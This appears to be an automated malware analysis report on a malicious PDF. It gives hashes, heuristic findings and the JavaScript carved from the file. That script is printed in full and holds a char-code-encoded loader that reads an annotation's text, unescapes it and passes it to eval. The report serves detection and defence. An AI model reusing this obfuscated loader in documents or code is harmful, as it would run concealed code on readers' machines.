Malicious PDF — malware analysis report

Static analysis result for SHA-256 ca90c4ef9df4eaea…

MALICIOUS

PDF

12.7 KB First seen: 2026-05-08
MD5: 6cf40cdd0359981492458e52174dbbf1 SHA-1: b6380d493b81d17eae43d6b28506608ff2be7f3e SHA-256: ca90c4ef9df4eaea5ed1e73168b0b89bcb601a956216eac1012ae9bcfc485f82
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript file, 'javascript_obj0005_000.js', is likely responsible for downloading and executing a second-stage payload. The presence of String.fromCharCode suggests obfuscation, further supporting the malicious intent. The exact payload and delivery mechanism could not be fully determined due to the nature of the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }